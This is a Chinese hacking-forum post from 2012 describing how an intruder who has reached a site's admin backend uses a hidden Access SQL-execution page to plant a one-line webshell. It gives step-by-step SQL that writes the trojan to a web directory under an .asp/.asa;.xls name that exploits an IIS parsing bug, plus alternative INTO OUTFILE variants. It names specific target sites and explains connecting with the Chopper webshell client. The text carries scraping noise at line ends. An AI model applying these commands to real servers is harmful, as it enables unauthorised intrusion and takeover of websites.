找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2284|回复: 0
打印 上一主题 下一主题

ACCESS执行SQL命令导出一句话SHELL

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:53:58 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
好不容易进了后台,发现啥上传啊。备份啊多木有。" G  c' D" K0 k
webshell一直拿不到。后来翻了一下源码。有一个执行SQL命令的0 T  z. O, p7 a# k8 J, P
文件。可后台没显示这功能。直接填上文件名字,执行命令的选项出来了,0 G, x2 F' X, t0 C
然后就试用了下面的命令导出一句话木马。没想到成功了。命令方法如下:
- N1 l# |7 ^6 _3 Q- Z1.create table cmd (a varchar(50))5 R; |* j( |4 B( B) u5 u, f  y' E
2.insert into cmd (a) values (‘‘)
( P% k4 @( w7 [3.select * into [a] in ‘D:\wwwroot\www.koohik.com\hacker.asa;.xls’ ‘excel 4.0;’ from cmd$ O: {: l7 e- Q/ I) Y
(把表cmd的内容导出为物理路径的一个EXCEL文件)
. p+ b+ t5 J1 R5 Z' w% U6 J' C4.drop table cmd& c1 s/ E' l1 u' G
利用IIS的BUG成功拿到了WEBSHELL。8 X/ R9 P, b6 |  u( W( _( F, Z
5 X" s5 e2 [; r
直接菜刀里连接http://www.chouwazi.com/data/xiao.asp;xiao.xls一句话* I+ G' ?# y/ w6 d

6 q" M2 h7 S1 F/ i& c( S  SQL语句意思解释:
9 r+ B& t* U9 M' v: N  q  第一句* R8 g# E8 E/ K% ^/ `/ N, M
  建立一个有一个A字段的表 表名为cmd 字段类型为字符 长度为50
) P8 ?" `# W0 ~$ `& h" l8 M* h/ I) B* ^$ r2 }) o; c: V
  第二句
: {, o1 V; I8 Q: \* m! M/ o8 P8 w+ d  在表cmd的a字段插入一句话木马6 r8 }$ P/ p. \( _: m: N. f. q! s
  第三句
1 I+ M% ~" _3 l4 V  把cmd表a的内容导出到路径e:\host\chouwazi.com\web\data\的EXCEL文件
+ |: P+ Y$ K7 O; s& o  h/ O( g& C  s* {+ c0 P& d' }9 Q, P" e6 m
  第四句
4 \: u) |( ^- {  删除建立的cmd表# F2 v% j( d4 \( `# x

5 `/ c0 I1 ^+ X9 V5 \1 F$ E  以下内容为测试:
4 ]4 L7 x" E9 W8 T+ v+ M  Access利用后台SQL执行命令功能导出WebShell:
7 R8 y2 o1 S7 p* E2 Z4 \. F  这个更简单:% d+ a" K% n- W1 }; O
  [ol][li]Select 'asp一句话木马' into [vote] in 'd:/chouwazi.com/x.asp;.xls' 'excel 8.0;' from vote [/li][/ol]/ G. S- y7 F! B
  或者. {# ~) s4 ^6 l: K0 N* B
  [ol][li]Select 'php一句话木马' into outfile 'F:/wwwroot/chouwazi.com/eval.php'; [/li][/ol]# B7 N+ h/ h0 A- b0 t1 I3 G3 {

9 c( U" o# C+ G7 b6 g" o" q& I7 p  后台有执行SQL语句功能(vote为已知表段)* T/ z8 m. x1 T7 P
  希望对大家有所帮助拿shell的又一个思路. Q5 G1 @$ H$ x: N: m) a1 Q
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表